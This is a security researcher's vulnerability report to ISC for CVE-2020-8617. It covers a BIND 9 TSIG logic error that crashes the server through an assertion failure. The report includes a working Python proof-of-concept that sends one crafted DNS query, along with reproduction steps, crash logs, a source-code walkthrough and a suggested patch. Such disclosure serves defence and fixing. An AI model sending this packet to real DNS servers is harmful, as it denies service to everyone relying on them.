[CVE-2020-8617] A logic error in code which checks TSIG validity can be used to trigger an assertion failure in tsig.c
As reported to security-officer:
Hi,
I think I may have found another potential security vulnerability in BIND 9. Please find a detailed description below.
Thanks, Tobias
ISC BIND Logic Error TSIG Remote Denial of Service
Description:
ISC BIND is prone to a remote denial of service vulnerability. This issue is caused by a logic error when processing specially crafted TSIG resource records in DNS queries.
Impact:
A remote attacker who can deliberately trigger the condition can cause BIND to exit, denying service to other clients.
Tested Versions:
BIND 9.16.1 (Current-Stable), BIND 9.17.0 (Development), BIND 9.11.17 (Current-Stable, ESV)
Steps to Reproduce:
Operating System: Debian 10.2
- Download BIND 9.16.1 (Current-Stable)
URL: https://downloads.isc.org/isc/bind9/9.16.1/bind-9.16.1.tar.xz
- Build BIND
$ tar xvf bind-9.16.1.tar.xz; cd bind-9.16.1; ./configure; make; sudo make install
- Configure BIND
$ sudo adduser --home /var/cache/bind/ --system --group bind
$ sudo mkdir -m 775 /usr/local/var/run/named; sudo chgrp bind /usr/local/var/run/named
$ sudo vim /usr/local/etc/named.conf
options {
directory "/var/cache/bind";
recursion yes;
querylog yes;
};
4) Run the server in the foreground
$ sudo /usr/local/sbin/named -g -d 5 -u bind -4
22-Mar-2020 17:59:37.042 starting BIND 9.16.1 (Stable Release) <id:d497c32>
22-Mar-2020 17:59:37.042 running on Linux x86_64 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11)
22-Mar-2020 17:59:37.042 built with defaults
22-Mar-2020 17:59:37.042 running as: named -g -d 5 -u bind -4
22-Mar-2020 17:59:37.042 compiled by GCC 8.3.0
..
- Prepare the Proof-of-Concept exploit
$ vim poc.py
#
# Proof-of-Concept exploit
#
import struct
import sys
import socket
# Make sure that the time interval specified by the request (which is: Time
# Signed, plus/minus Fudge) is outside the server time.
fakeTime = struct.pack(">I", 0)
packet = (
# Standard DNS query
"\x11\x22" + # Transaction ID: 0x1122
"\x00\x00" + # Flags: 0x0000 Standard query
"\x00\x01" + # Questions: 1
"\x00\x00" + # Answer RRs: 0
"\x00\x00" + # Authority RRs: 0
"\x00\x01" + # Additional RRs: 1
"\03isc\x03org\x00" + # Name: isc.org
"\x00\x01" + # Type: A (Host Address)
"\x00\x01" + # Class: IN
# Specially crafted TSIG Resource Record (RFC 2845)
"\x0alocal-ddns\x00" + # Name: local-ddns
"\x00\xfa" + # Type: TSIG (Transaction Signature)
"\x00\xff" + # Class: ANY
"\x00\x00\x00\x00" + # TTL: 0
"\x00\x1d" + # RdLen: 29
"\x0bhmac-sha256\x00" + # Algorithm Name: hmac-sha256
"\x00\x00" + fakeTime + # Time Signed: Jan 1, 1970 01:00:00.000000000 CET
"\x01\x2c" + # Fudge: 300
"\x00\x00" + # MAC Size: 0
# MAC: empty
"\x00\x00" + # Original ID: 0
"\x00\x10" + # Error: BADSIG
"\x00\x00" # Other Len: 0
# Other Data: empty
)
if len(sys.argv) < 3:
print "Usage: %s [IP] [PORT]" % sys.argv[0]
exit()
IP = sys.argv[1]
PORT = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (IP, PORT))
- Use the Proof-of-Concept exploit to trigger the denial of service vulnerability
$ python poc.py 127.0.0.1 53
- Observe the server exiting due to an assertion failure
22-Mar-2020 17:59:40.334 clientmgr @0x7f2e36662010 attach: 2
22-Mar-2020 17:59:40.334 client @0x7f2e280058d0 (no-peer): allocate new client
22-Mar-2020 17:59:40.334 client @0x7f2e280058d0 127.0.0.1#53689: UDP request
22-Mar-2020 17:59:40.334 tsig key 'local-ddns': signature has expired
22-Mar-2020 17:59:40.334 client @0x7f2e280058d0 127.0.0.1#53689: using view '_default'
22-Mar-2020 17:59:40.334 client @0x7f2e280058d0 127.0.0.1#53689: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
22-Mar-2020 17:59:40.334 tsig.c:857: INSIST(msg->verified_sig) failed, back trace
22-Mar-2020 17:59:40.334 #0 0x55ebe3a629ed in __do_global_dtors_aux_fini_array_entry()+0x55ebe3734bf5
22-Mar-2020 17:59:40.334 #1 0x55ebe3c3d8fa in __do_global_dtors_aux_fini_array_entry()+0x55ebe390fb02
22-Mar-2020 17:59:40.334 #2 0x55ebe3bb9fd0 in __do_global_dtors_aux_fini_array_entry()+0x55ebe388c1d8
22-Mar-2020 17:59:40.334 #3 0x55ebe3b127e9 in __do_global_dtors_aux_fini_array_entry()+0x55ebe37e49f1
22-Mar-2020 17:59:40.334 #4 0x55ebe3a952e8 in __do_global_dtors_aux_fini_array_entry()+0x55ebe37674f0
22-Mar-2020 17:59:40.334 #5 0x55ebe3a965d4 in __do_global_dtors_aux_fini_array_entry()+0x55ebe37687dc
22-Mar-2020 17:59:40.334 #6 0x55ebe3a97e7a in __do_global_dtors_aux_fini_array_entry()+0x55ebe376a082
22-Mar-2020 17:59:40.334 #7 0x55ebe3c57882 in __do_global_dtors_aux_fini_array_entry()+0x55ebe3929a8a
22-Mar-2020 17:59:40.334 #8 0x7f2e368eb6d5 in __do_global_dtors_aux_fini_array_entry()+0x7f2e365bd8dd
22-Mar-2020 17:59:40.334 #9 0x7f2e368ed4b0 in __do_global_dtors_aux_fini_array_entry()+0x7f2e365bf6b8
22-Mar-2020 17:59:40.334 #10 0x7f2e368def85 in __do_global_dtors_aux_fini_array_entry()+0x7f2e365b118d
22-Mar-2020 17:59:40.334 #11 0x55ebe3c55269 in __do_global_dtors_aux_fini_array_entry()+0x55ebe3927471
22-Mar-2020 17:59:40.334 #12 0x7f2e368aafa3 in __do_global_dtors_aux_fini_array_entry()+0x7f2e3657d1ab
22-Mar-2020 17:59:40.334 #13 0x7f2e367bb4cf in __do_global_dtors_aux_fini_array_entry()+0x7f2e3648d6d7
22-Mar-2020 17:59:40.334 exiting (due to assertion failure)
Aborted
- Inspect the core file
$971 sudo gdb --core /var/cache/bind/core /usr/local/sbin/named
..
(gdb) bt
#0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1 0x00007f2e366e4535 in __GI_abort () at abort.c:79
#2 0x000055ebe3a596ca in assertion_failed (file=<optimized out>, line=<optimized out>, type=<optimized out>, cond=<optimized out>) at ./main.c:260
#3 0x000055ebe3c3d8fa in isc_assertion_failed (file=file@entry=0x55ebe3cc4025 "tsig.c", line=line@entry=857, type=type@entry=isc_assertiontype_insist, cond=cond@entry=0x55ebe3cc40c2 "msg->verified_sig") at assertions.c:46
#4 0x000055ebe3bb9fd0 in dns_tsig_sign (msg=msg@entry=0x7f2e340f7010) at tsig.c:927
#5 0x000055ebe3b127e9 in dns_message_renderend (msg=0x7f2e340f7010) at message.c:2315
#6 0x000055ebe3a952e8 in ns_client_send (client=client@entry=0x7f2e280058d0) at client.c:580
#7 0x000055ebe3a965d4 in ns_client_error (client=client@entry=0x7f2e280058d0, result=<optimized out>) at client.c:921
#8 0x000055ebe3a97e7a in ns__client_request (handle=<optimized out>, region=<optimized out>, arg=<optimized out>) at client.c:2135
#9 0x000055ebe3c57882 in udp_recv_cb (handle=<optimized out>, nrecv=76, buf=0x7f2e364ddc10, addr=<optimized out>, flags=<optimized out>) at udp.c:329
#10 0x00007f2e368eb6d5 in ?? () from /lib/x86_64-linux-gnu/libuv.so.1
#11 0x00007f2e368ed4b0 in uv.io_poll () from /lib/x86_64-linux-gnu/libuv.so.1
#12 0x00007f2e368def85 in uv_run () from /lib/x86_64-linux-gnu/libuv.so.1
#13 0x000055ebe3c55269 in nm_thread (worker0=0x55ebe502b170) at netmgr.c:481
#14 0x00007f2e368aafa3 in start_thread (arg=<optimized out>) at pthread_create.c:486
#15 0x00007f2e367bb4cf in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95
Technical Details:
The function dns_tsig_verify() found in lib/dns/tsig.c is responsible to verify the transaction signature (TSIG). However, there are different code paths where, if the signature is invalid, it is possible to have the function return a misleading error code. This logic error then leads to an INSIST assertation failure in dns_tsig_sign(), which is also found in lib/dns/tsig.c.
bind-9.16.1/lib/dns/tsig.c:
..
1070 isc_result_t
1071 dns_tsig_verify(isc_buffer_t *source, dns_message_t *msg,
1072 dns_tsig_keyring_t *ring1, dns_tsig_keyring_t *ring2) {
..
1099 msg->verified_sig = 0;
1100 msg->tsigstatus = dns_tsigerror_badsig;
..
1234 if (tsig.siglen > 0) {
..
1363 } else if (tsig.error != dns_tsigerror_badsig &&
1364 tsig.error != dns_tsigerror_badkey)
1365 {
1366 tsig_log(msg->tsigkey, 2, "signature was empty");
1367 return (DNS_R_TSIGVERIFYFAILURE);
1368 }
1369
1370 /*
1371 * Here at this point, the MAC has been verified. Even if any of
1372 * the following code returns a TSIG error, the reply will be
1373 * signed and WILL always include the request MAC in the digest
1374 * computation.
1375 */
1376
1377 /*
1378 * Is the time ok?
1379 */
1380 if (now + msg->timeadjust > tsig.timesigned + tsig.fudge) {
1381 msg->tsigstatus = dns_tsigerror_badtime;
1382 tsig_log(msg->tsigkey, 2, "signature has expired");
1383 ret = DNS_R_CLOCKSKEW;
1384 goto cleanup_context;
1385 } else if (now + msg->timeadjust < tsig.timesigned - tsig.fudge) {
1386 msg->tsigstatus = dns_tsigerror_badtime;
1387 tsig_log(msg->tsigkey, 2, "signature is in the future");
1388 ret = DNS_R_CLOCKSKEW;
1389 goto cleanup_context;
1390 }
..
1425 cleanup_context:
1426 if (ctx != NULL) {
1427 dst_context_destroy(&ctx);
1428 }
1429
1430 return (ret);
1431 }
..
In line 1099, the variable msg->verified_sig is initialized with zero, indicating an unverified signature or, more specificially, an unverified MAC (see RFC 2845). In line 1100 the variable msg->tsigstatus is initialized with the error code dns_tsigerror_badsig (which is equivalent to BADSIG as specified in RFC 2845). Then, in line 1234, it is checked if the length of the MAC (MAC Size) found in the TSIG resource record is greater than zero. If this is not the case, then the error code in the TSIG resource record is checked (see lines 1363 and 1364). If the error code matches either dns_tsigerror_badsig or dns_tsigerror_badkey (which is equivalent to BADKEY as specified in RFC 2845), then the execution will continue at line 1380. At this point, the variable msg->verified_sig still contains the value 0, indicating an unverified MAC (although otherwise described in the comment found at line 1371). In lines 1380 and 1385, it is then checked if the server time is outside the time interval specified by the two timer values in the TSIG resource record (which is: Time Signed, plus/minus Fudge). If the server time is outside the specified time interval, then the error code dns_tsigerror_badtime (which is equivalent to BADTIME as specified in RFC 2845) will be assigned to the variable msg->tsigstatus (see lines 1381 and 1386), indicating a timing skew. Next, the function returns with DNS_R_CLOCKSKEW (see lines 1383 and 1388).
To summarize: By crafting a TSIG resource record with a zero-length signature (MAC size == 0 and empty MAC), an error code of BADSIG or BADKEY, and a time interval that is outside of the server time, it is possible to return from dns_tsig_verify(), and at the same time ensure, that the variable msg->tsigstatus contains the error code dns_tsigerror_badtime and the variable msg->verified_sig is set to 0.
bind-9.16.1/lib/dns/message.c:
..
2677 isc_result_t
2678 dns_message_reply(dns_message_t *msg, bool want_question_section) {
..
2724 msg->querytsigstatus = msg->tsigstatus;
..
Later on in the execution, the function dns_message_reply() is called. In line 2724 of this function, the value of the variable msg->tsigstatus is assigned to the variable msg->querytsigstatus. As a result, the variable msg->querytsigstatus now contains the value of the error code dns_tsigerror_badtime.
bind-9.16.1/lib/dns/tsig.c:
..
756 isc_result_t
757 dns_tsig_sign(dns_message_t *msg) {
..
809 tsig.error = msg->querytsigstatus;
..
826 if ((key->key != NULL) && (tsig.error != dns_tsigerror_badsig) &&
827 (tsig.error != dns_tsigerror_badkey))
828 {
..
857 INSIST(msg->verified_sig);
..
Then, even later on in the execution, the function dns_tsig_sign() is called. In line 809 of this function, the value of the variable msg->querytsigstatus is assigned to the variable tsig.error. As a result, the variable tsig.error now contains the value of the error code dns_tsigerror_badtime. Then, in lines 826 and 827 it is checked, among other things, whether the error code stored in tsig.error matches either dns_tsigerror_badsig or dns_tsigerror_badkey. As tsig.error contains the value of the error code dns_tsigerror_badtime, the if condition is evaluated as true and the code inside the if block is executed. The INSIST assertation at line 857 then fails because msg->verified_sig has a value of 0, causing BIND to exit.
Possible Solution:
A possible solution could look like this (Current-Stable):
--- bind-9.16.1/lib/dns/tsig.c 2020-03-11 17:46:53.000000000 +0100
+++ bind-9.16.1_patched/lib/dns/tsig.c 2020-03-22 15:49:56.443147822 +0100
@@ -854,7 +854,12 @@
if (response && msg->querytsig != NULL) {
dns_rdata_t querytsigrdata = DNS_RDATA_INIT;
- INSIST(msg->verified_sig);
+ if (!msg->verified_sig) {
+ tsig_log(msg->tsigkey, 2,
+ "unverified signature");
+ ret = DNS_R_TSIGVERIFYFAILURE;
+ goto cleanup_context;
+ }
ret = dns_rdataset_first(msg->querytsig);
if (ret != ISC_R_SUCCESS) {